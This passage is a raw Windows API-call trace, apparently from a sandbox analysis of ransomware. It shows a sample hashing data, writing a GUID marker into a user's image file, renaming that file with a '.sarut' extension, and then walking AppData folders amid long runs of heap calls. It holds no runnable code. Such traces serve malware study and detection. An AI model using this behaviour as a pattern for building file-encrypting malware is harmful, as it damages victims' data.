pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.524] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.524] GetLastError () returned 0x0 [0271.524] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.524] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.524] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe9ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.524] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.525] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.525] CloseHandle (hObject=0x5c4) returned 1 [0271.528] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\zZtwi8cLkIz2TYu9.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\zztwi8clkiz2tyu9.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\zZtwi8cLkIz2TYu9.gif.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\zztwi8clkiz2tyu9.gif.sarut")) returned 1 [0271.530] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9fea90, ftCreationTime.dwHighDateTime=0x1d4c878, ftLastAccessTime.dwLowDateTime=0x4190cd80, ftLastAccessTime.dwHighDateTime=0x1d4d5b6, ftLastWriteTime.dwLowDateTime=0x4190cd80, ftLastWriteTime.dwHighDateTime=0x1d4d5b6, nFileSizeHigh=0x0, nFileSizeLow=0xe9ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zZtwi8cLkIz2TYu9.gif", cAlternateFileName="ZZTWI8~1.GIF")) returned 0 [0271.530] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0271.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0271.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0271.530] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0271.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0271.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115b80 | out: hHeap=0x640000) returned 1 [0271.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115840 | out: hHeap=0x640000) returned 1 [0271.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115be8 | out: hHeap=0x640000) returned 1 [0271.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0271.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30825d0 | out: hHeap=0x640000) returned 1 [0271.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082738 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082468 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082558 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082990 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115c50 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082648 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1858 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30827b0 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0271.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0271.531] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0271.531] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0271.531] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0271.531] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.532] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0271.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0271.532] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0271.532] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0271.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0271.532] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0271.532] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0271.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0271.532] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0271.532] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0271.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0271.532] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0271.532] PathFindFileNameW (pszPath="") returned="" [0271.532] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082300 [0271.533] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0271.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082300 | out: hHeap=0x640000) returned 1 [0271.534] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.534] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0271.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x3076e18 [0271.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0271.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.534] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0271.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x38) returned 0x3091560 [0271.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0271.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0271.535] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x6f9050 [0271.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.535] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0271.535] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0271.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0271.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30827b0 | out: hHeap=0x640000) returned 1 [0271.535] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0271.535] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0271.535] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0271.535] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.535] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.536] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.536] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.536] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.536] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.536] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.536] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.536] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.536] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0271.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.538] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.538] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.538] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.538] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.538] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.538] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.538] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.538] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.538] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.540] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.540] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.540] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.540] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.543] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.543] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.543] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0271.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0271.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.546] HeapFree 